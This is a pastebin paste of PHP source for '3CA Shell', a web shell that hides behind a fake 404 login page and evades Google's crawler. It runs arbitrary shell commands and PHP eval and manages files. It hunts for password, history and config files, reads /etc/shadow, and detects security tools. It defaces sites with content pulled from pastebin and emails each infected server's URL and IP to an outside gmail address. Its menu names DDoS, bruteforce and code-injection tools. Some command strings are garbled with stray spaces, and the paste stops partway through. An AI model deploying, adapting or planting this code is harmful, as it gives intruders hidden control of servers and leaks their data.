· 10 years ago · Mar 08, 2016, 03:48 PM
1<?php $auth_pass = "33b1d17c0f3a72f95aa21a42da70671c";
2$color = "#00FF66";
3$default_action = 'FilesMan';
4@define('SELF_PATH', __FILE__);
5if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
6 header('HTTP/1.0 404 Not Found');
7 exit;
8}
9@session_start();
10@error_reporting(0);
11@ini_set('error_log', NULL);
12@ini_set('display_errors', 0);
13@ini_set('log_errors', 0);
14@ini_set('max_execution_time', 0);
15@set_time_limit(0);
16@set_magic_quotes_runtime(0);
17@define('VERSION', 'Ver 3.0 (DEV)');
18if (get_magic_quotes_gpc()) {
19 function stripslashes_array($array) {
20 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
21 }
22 $_POST = stripslashes_array($_POST);
23}
24function printLogin() {
25 echo '<h1>Not Found</h1>
26 <p>The requested URL was not found on this server.</p>
27 <hr>
28 <address>Apache Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>
29 <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
30 <center><form method=post><input type=password name=pass></form></center>';
31 exit;
32}
33if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
34else printLogin();
35if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
36else $os = 'nix';
37$safe_mode = @ini_get('safe_mode');
38$disable_functions = @ini_get('disable_functions');
39$home_cwd = @getcwd();
40if (isset($_POST['c'])) @chdir($_POST['c']);
41$cwd = @getcwd();
42if ($os == 'win') {
43 $home_cwd = str_replace("\", " / ", $home_cwd);
44 $cwd = str_replace("\", " / ", $cwd);
45}
46if( $cwd[strlen($cwd) - 1] != '/' )
47 $cwd .= '/';
48
49if($os == 'win') {
50 $aliases = array(
51 "ListDirectory" => "dir",
52 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
53 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
54 "Showactiveconnections" => "netstat - an",
55 "Showrunningservices" => "netstart",
56 "Useraccounts" => "netuser",
57 "Showcomputers" => "netview",
58 "ARPTable" => "arp - a",
59 "IPConfiguration" => "ipconfig / all"
60 );
61} else {
62 $aliases = array(
63 "Listdir" => "ls - la",
64 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
65 "showopenedports" => "netstat - an | grep - ilisten",
66 "Find" => "",
67 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
68 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
69 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
70 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
71 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
72 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
73}
74function ex($in) {
75 $out = '';
76 if (function_exists('exec')) {
77 @exec($in, $out);
78 $out = @join("
79", $out);
80 } elseif (function_exists('passthru')) {
81 ob_start();
82 @passthru($in);
83 $out = ob_get_clean();
84 } elseif (function_exists('system')) {
85 ob_start();
86 @system($in);
87 $out = ob_get_clean();
88 } elseif (function_exists('shell_exec')) {
89 $out = shell_exec($in);
90 } elseif (is_resource($f = @popen($in, "r"))) {
91 $out = "";
92 while (!@feof($f)) $out.= fread($f, 1024);
93 pclose($f);
94 }
95 return $out;
96}
97function which($p) {
98 $path = ex('which ' . $p);
99 if (!empty($path)) return $path;
100 return false;
101}
102function printHeader() {
103 if (empty($_POST['charset'])) $_POST['charset'] = "UTF-8";
104 global $color;
105 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=' . $_POST['charset'] . '"><title>3CA Shell - ' . VERSION . '</title>
106 <style>
107 body {background-color:#222;color:#fff;}
108 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
109 span,h1,a { color:' . $color . ' !important; }
110 span { font-weight: bolder; }
111 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
112 div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
113 a { text-decoration:none; }
114 a:hover { /*background:#5e5e5e;*/ }
115 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
116 .bigarea { width:100%;height:250px;margin-top:5px;}
117 input, textarea, select { margin:0;color:#00ff00;background-color:#555;border:1px solid ' . $color . '; font: 9pt Monospace,"Courier New"; }
118 input[type="button"]:hover,input[type="submit"]:hover {background-color:' . $color . ';color:#000;}
119 form { margin:0px; }
120 #toolsTbl { text-align:center; }
121 .toolsInp { width: 80%; }
122 .main th {text-align:left;background-color:#555;font-weight: bold;}
123 .main tr:hover{background-color:#5e5e5e;}
124 .main td, th{vertical-align:middle;}
125 .menu {background: #333;}
126 .menu th{padding:5px;font-weight:bold;}
127 .menu th:hover{background:#444;}
128 .l1 {background-color:#444;}
129 pre {font-family:Courier,Monospace;}
130 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
131 .logo {text-align:center;font-size:60px;}
132 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
133 .cpr {margin-bottom:5px;font-weight:bold;}
134 .cpb {width:34px;margin:0 5px;}
135 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
136 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
137 .npoad td {padding:0;}
138 </style>
139 <script>
140 function set(a,c,p1,p2,p3,charset) {
141 if(a != null)document.mf.a.value=a;
142 if(c != null)document.mf.c.value=c;
143 if(p1 != null)document.mf.p1.value=p1;
144 if(p2 != null)document.mf.p2.value=p2;
145 if(p3 != null)document.mf.p3.value=p3;
146 if(charset != null)document.mf.charset.value=charset;
147 }
148 function g(a,c,p1,p2,p3,charset) {
149 set(a,c,p1,p2,p3,charset);
150 document.mf.submit();
151 }
152 function a(a,c,p1,p2,p3,charset) {
153 set(a,c,p1,p2,p3,charset);
154 var params = "ajax=true";
155 for(i=0;i<document.mf.elements.length;i++)
156 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
157 sr("' . $_SERVER['REQUEST_URI'] . '", params);
158 }
159 function sr(url, params) {
160 if (window.XMLHttpRequest) {
161 req = new XMLHttpRequest();
162 req.onreadystatechange = processReqChange;
163 req.open("POST", url, true);
164 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
165 req.send(params);
166 }
167 else if (window.ActiveXObject) {
168 req = new ActiveXObject("Microsoft.XMLHTTP");
169 if (req) {
170 req.onreadystatechange = processReqChange;
171 req.open("POST", url, true);
172 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
173 req.send(params);
174 }
175 }
176 }
177 function processReqChange() {
178 if( (req.readyState == 4) )
179 if(req.status == 200) {
180 //alert(req.responseText);
181 var reg = new RegExp("(\d+)([\S\s]*)", "m");
182 var arr=reg.exec(req.responseText);
183 eval(arr[2].substr(0, arr[1]));
184 }
185 else alert("Request error!");
186 }
187 </script>
188 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
189 <form method=post name=mf style="display:none;">
190 <input type=hidden name=a value="' . (isset($_POST['a']) ? $_POST['a'] : '') . '">
191 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
192 <input type=hidden name=p1 value="' . (isset($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '">
193 <input type=hidden name=p2 value="' . (isset($_POST['p2']) ? htmlspecialchars($_POST['p2']) : '') . '">
194 <input type=hidden name=p3 value="' . (isset($_POST['p3']) ? htmlspecialchars($_POST['p3']) : '') . '">
195 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
196 </form>';
197 $freeSpace = @diskfreespace($GLOBALS['cwd']);
198 $totalSpace = @disk_total_space($GLOBALS['cwd']);
199 $totalSpace = $totalSpace ? $totalSpace : 1;
200 $disable_functions = @ini_get('disable_functions');
201 $release = @php_uname('r');
202 $kernel = @php_uname('s');
203 if (!function_exists('posix_getegid')) {
204 $user = @get_current_user();
205 $uid = @getmyuid();
206 $gid = @getmygid();
207 $group = "?";
208 } else {
209 $uid = @posix_getpwuid(@posix_geteuid());
210 $gid = @posix_getgrgid(@posix_getegid());
211 $user = $uid['name'];
212 $uid = $uid['uid'];
213 $group = $gid['name'];
214 $gid = $gid['gid'];
215 }
216 $cwd_links = '';
217 $path = explode("/", $GLOBALS['cwd']);
218 $n = count($path);
219 for ($i = 0;$i < $n - 1;$i++) {
220 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
221 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
222 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
223 }
224 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
225 $opt_charsets = '';
226 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
227 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Bypasser' => 'SafeMode', 'Safe Mode' => 'Bypass', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network', 'Readable Dirs' => 'Readable', 'Port Scanner' => 'PortScanner', 'Symlink' => 'Symlink', 'DDoS' => 'Ddos', 'Mail' => 'Mail', 'Code Injector' => 'Injector');
228 if (!empty($GLOBALS['auth_pass'])) $m['SelfKill'] = 'SelfRemove';
229 $m['Logout'] = 'Logout';
230 $menu = '';
231 foreach ($m as $k => $v) $menu.= '<th><a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a></th>';
232 $drives = "";
233 if ($GLOBALS['os'] == 'win') {
234 foreach (range('a', 'z') as $drive) {
235 if (is_dir($drive . ':\'))
236 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
237 }
238 $drives .= ' < br / >:
239 ';
240 }
241 if($GLOBALS['os'] == 'nix') {
242 $dominios = @file_get_contents("/etc/named.conf");
243 if(!$dominios) {
244 $d0c = "CANT READ named.conf";
245 } else {
246 @preg_match_all(' / . * ? zone"(.*?)" {/', $dominios, $out);
247 $out = sizeof(array_unique($out[1]));
248 $d0c = $out." Domains";
249 }
250 } else {
251 $d0c = " --- ";
252 }
253 if($GLOBALS['os'] == 'nix' )
254 {
255 $usefl = ''; $dwnldr = '';
256 if(!@ini_get('safe_mode')) {
257 $temp = array();
258 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
259 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
260 $usefl = implode(', ',$temp);
261 $temp = array();
262 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp - mirror');
263 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
264 $dwnldr = implode(', ',$temp);
265 } else {
266 $usefl = '------ - '; $dwnldr = '------ - ';
267 }
268 } else {
269 $usefl = '------ - '; $dwnldr = '------ - ';
270 }
271 echo ' < tableclass = "info"cellpadding = "3"cellspacing = "0"width = "100%" > < tr > < tdwidth = "160px" > < divclass = "logo" > 3CA < sup > & reg; < / sup > < / div > < hrstyle = "margin: -5px 13px 2px 17px;width:130px;" > < divclass = "eca1" > 3xp1r3 < / div > < divclass = "eca2" > CyberArmy < / div > < / td > < td > < tablecellpadding = "3"cellspacing = "0"class = "npoad" > < tr > < tdwidth = "125px;" > < span > Uname < / span > < / td > < td > : < nobr > '.substr(@php_uname(), 0, 120).' < / nobr > < / td > < / tr > < tr > < td > < span > User < / span > < / td > < td >:
272 '.$uid.'('.$user.') < span > Group: < / span > '.$gid.'('.$group.') < / td > < / tr > < tr > < td > < span > Server < / span > < / td > < td >:
273 '.@getenv('SERVER_SOFTWARE').' < / td > < / tr > < tr > < td > < span > Useful < / span > < / td > < td >:
274 '.$usefl.' < / td > < / tr > < tr > < td > < span > Downloaders < / span > < / td > < td >:
275 '.$dwnldr.' < / td > < / tr > < tr > < td > < span > Disabledfunctions < / span > < / td > < td >:
276 '.($disable_functions?$disable_functions:'AllFunction Enable').' < / td > < / tr > < tr > < td > < span > '.($GLOBALS['os'] == 'win'?'Drives < br / > Cwd':'Cwd').' < / span > < / td > < td >:
277 '.$drives.''.$cwd_links.''.viewPermsColor($GLOBALS['cwd']).' < ahref = # onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
278 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>' . '<td><nobr>: ' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br>: ' . $_SERVER['REMOTE_ADDR'] . '<br />: ' . viewSize($totalSpace) . '<br />: ' . viewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br>: ' . @phpversion() . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=' . $color . '<b>OFF</b></font>') . '<br />: ' . $d0c . '</nobr></td></tr></table>' . '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>' . $menu . '</tr></table></div></div><div style="margin:5;background:#444;">';
279 }
280 function printFooter() {
281 $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=green>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
282 echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
283<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
284 <tr>
285 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '"><input type=submit value=">>"></form></td>
286 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
287 </tr>
288 <tr>
289 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>' . $is_writable . '</td>
290 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>' . $is_writable . '</td>
291 </tr>
292 <tr>
293 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
294 <td><form method="post" ENCTYPE="multipart/form-data">
295 <input type=hidden name=a value="FilesMAn">
296 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
297 <input type=hidden name=p1 value="uploadFile">
298 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
299 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>' . $is_writable . '</td>
300 </tr>
301</table></div></div>
302<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">3CA Shell ' . VERSION . ', © 3xp1r3 Cyber Army. Coded By - Dr3@m3r~1986</div></div>
303</div>
304</body></html>';
305 }
306 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
307 function posix_getpwuid($p) {
308 return false;
309 }
310 }
311 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
312 function posix_getgrgid($p) {
313 return false;
314 }
315 }
316 if (!isset($_SESSION['trimite'])) {
317 $url = "<b>IP:</b> " . gethostbyname($_SERVER["HTTP_HOST"]) . "
318<b>Url:</b> " . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "
319<b>User IP:</b> " . $_SERVER['REMOTE_ADDR'] . (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? '(' . $_SERVER['HTTP_X_FORWARDED_FOR'] . ')' : '');
320 @mail("3ca.shell@gmail.com", "3CA_Shell_2.0", $url);
321 $_SESSION['trimite'] = true;
322 }
323 function viewSize($s) {
324 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
325 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
326 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
327 else return $s . ' B';
328 }
329 function perms($p) {
330 if (($p & 0xC000) == 0xC000) $i = 's';
331 elseif (($p & 0xA000) == 0xA000) $i = 'l';
332 elseif (($p & 0x8000) == 0x8000) $i = '-';
333 elseif (($p & 0x6000) == 0x6000) $i = 'b';
334 elseif (($p & 0x4000) == 0x4000) $i = 'd';
335 elseif (($p & 0x2000) == 0x2000) $i = 'c';
336 elseif (($p & 0x1000) == 0x1000) $i = 'p';
337 else $i = 'u';
338 $i.= (($p & 0x0100) ? 'r' : '-');
339 $i.= (($p & 0x0080) ? 'w' : '-');
340 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
341 $i.= (($p & 0x0020) ? 'r' : '-');
342 $i.= (($p & 0x0010) ? 'w' : '-');
343 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
344 $i.= (($p & 0x0004) ? 'r' : '-');
345 $i.= (($p & 0x0002) ? 'w' : '-');
346 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
347 return $i;
348 }
349 function viewPermsColor($f) {
350 if (!@is_readable($f)) return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
351 elseif (!@is_writable($f)) return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
352 else return '<font color=#00BB00><b>' . perms(@fileperms($f)) . '</b></font>';
353 }
354 if (!function_exists("scandir")) {
355 function scandir($dir) {
356 $dh = opendir($dir);
357 while (false !== ($filename = readdir($dh))) {
358 $files[] = $filename;
359 }
360 return $files;
361 }
362 }
363 function actionSecInfo() {
364 printHeader();
365 echo '<h1>Server security information</h1><div class=content>';
366 function showSecParam($n, $v) {
367 $v = trim($v);
368 if ($v) {
369 echo '<span>' . $n . ': </span>';
370 if (strpos($v, "
371") === false) echo $v . '<br>';
372 else echo '<pre class=ml1>' . $v . '</pre>';
373 }
374 }
375 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
376 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions']) ? $GLOBALS['disable_functions'] : 'none');
377 showSecParam('Open base dir', @ini_get('open_basedir'));
378 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
379 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
380 showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
381 $temp = array();
382 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
383 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
384 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
385 if (function_exists('oci_connect')) $temp[] = "Oracle";
386 showSecParam('Supported databases', implode(', ', $temp));
387 echo '<br>';
388 if ($GLOBALS['os'] == 'nix') {
389 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
390 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
391 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
392 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
393 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
394 showSecParam('OS version', @file_get_contents('/proc/version'));
395 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
396 if (!$GLOBALS['safe_mode']) {
397 echo '<br>';
398 $temp = array();
399 foreach ($userful as $item) if (which($item)) {
400 $temp[] = $item;
401 }
402 showSecParam('Userful', implode(', ', $temp));
403 $temp = array();
404 foreach ($danger as $item) if (which($item)) {
405 $temp[] = $item;
406 }
407 showSecParam('Danger', implode(', ', $temp));
408 $temp = array();
409 foreach ($downloaders as $item) if (which($item)) {
410 $temp[] = $item;
411 }
412 showSecParam('Downloaders', implode(', ', $temp));
413 echo '<br/>';
414 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
415 showSecParam('HDD space', ex('df -h'));
416 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
417 }
418 } else {
419 showSecParam('OS Version', ex('ver'));
420 showSecParam('Account Settings', ex('net accounts'));
421 showSecParam('User Accounts', ex('net user'));
422 }
423 echo '</div>';
424 printFooter();
425 }
426 function actionPhp() {
427 if (isset($_POST['ajax'])) {
428 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
429 ob_start();
430 eval($_POST['p1']);
431 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
432
433 \' ") . "';
434";
435 echo strlen($temp), "
436", $temp;
437 exit;
438 }
439 printHeader();
440 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
441 echo '<h1>PHP info</h1><div class=content>';
442 ob_start();
443 phpinfo();
444 $tmp = ob_get_clean();
445 $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
446 $tmp = preg_replace('!a:\w+ {.*}!msiU', '', $tmp);
447 $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
448 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
449 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
450 echo $tmp;
451 echo '</div><br>';
452 }
453 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
454 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
455 echo ' <input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
456 if (!empty($_POST['p1'])) {
457 ob_start();
458 eval($_POST['p1']);
459 echo htmlspecialchars(ob_get_clean());
460 }
461 echo '</pre></div>';
462 printFooter();
463 }
464 function actionFilesMan() {
465 printHeader();
466 echo '<h1>File manager</h1><div class=content>';
467 if (isset($_POST['p1']) && $_POST['p1'] != 'deface') {
468 switch ($_POST['p1']) {
469 case 'uploadFile':
470 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
471 break;
472 break;
473 case 'mkdir':
474 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
475 break;
476 case 'delete':
477 function deleteDir($path) {
478 $path = (substr($path, -1) == '/') ? $path : $path . '/';
479 $dh = opendir($path);
480 while (($item = readdir($dh)) !== false) {
481 $item = $path . $item;
482 if ((basename($item) == "..") || (basename($item) == ".")) continue;
483 $type = filetype($item);
484 if ($type == "dir") deleteDir($item);
485 else @unlink($item);
486 }
487 closedir($dh);
488 rmdir($path);
489 }
490 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
491 $f = urldecode($f);
492 if (is_dir($f)) deleteDir($f);
493 else @unlink($f);
494 }
495 break;
496 case 'paste':
497 if ($_SESSION['act'] == 'copy') {
498 function copy_paste($c, $s, $d) {
499 if (is_dir($c . $s)) {
500 mkdir($d . $s);
501 $h = opendir($c . $s);
502 while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
503 copy_paste($c . $s . '/', $f, $d . $s . '/');
504 }
505 } elseif (is_file($c . $s)) {
506 @copy($c . $s, $d . $s);
507 }
508 }
509 foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['cwd'], $f, $GLOBALS['cwd']);
510 } elseif ($_SESSION['act'] == 'move') {
511 function move_paste($c, $s, $d) {
512 if (is_dir($c . $s)) {
513 mkdir($d . $s);
514 $h = opendir($c . $s);
515 while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
516 copy_paste($c . $s . '/', $f, $d . $s . '/');
517 }
518 } elseif (is_file($c . $s)) {
519 @copy($c . $s, $d . $s);
520 }
521 }
522 foreach ($_SESSION['f'] as $f) @rename($_SESSION['cwd'] . $f, $GLOBALS['cwd'] . $f);
523 }
524 unset($_SESSION['f']);
525 break;
526 default:
527 if (!empty($_POST['p1']) && (($_POST['p1'] == 'copy') || ($_POST['p1'] == 'move'))) {
528 $_SESSION['act'] = @$_POST['p1'];
529 $_SESSION['f'] = @$_POST['f'];
530 foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
531 $_SESSION['cwd'] = @$_POST['c'];
532 }
533 break;
534 }
535 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
536 }
537 if (isset($_POST['p1']) && $_POST['p1'] == 'deface') {
538 $def = file_get_contents('http://pastebin.com/download.php?i=F60iTJTf');
539 file_put_contents($_POST['c'] . $_POST['p2'], $def);
540 }
541 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
542 if ($dirContent === false) {
543 echo 'Can\'t open this folder!';
544 return;
545 }
546 global $sort;
547 $sort = array('name', 1);
548 if (!empty($_POST['p1'])) {
549 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
550 }
551 echo '<script>
552 function sa() {
553 for(i=0;i<document.files.elements.length;i++)
554 if(document.files.elements[i].type == \'checkbox\')
555 document.files.elements[i].checked = document.files.elements[0].checked;
556 }
557 </script>
558 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
559 <form name=files method=post>';
560 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
561 $dirs = $files = $links = array();
562 $n = count($dirContent);
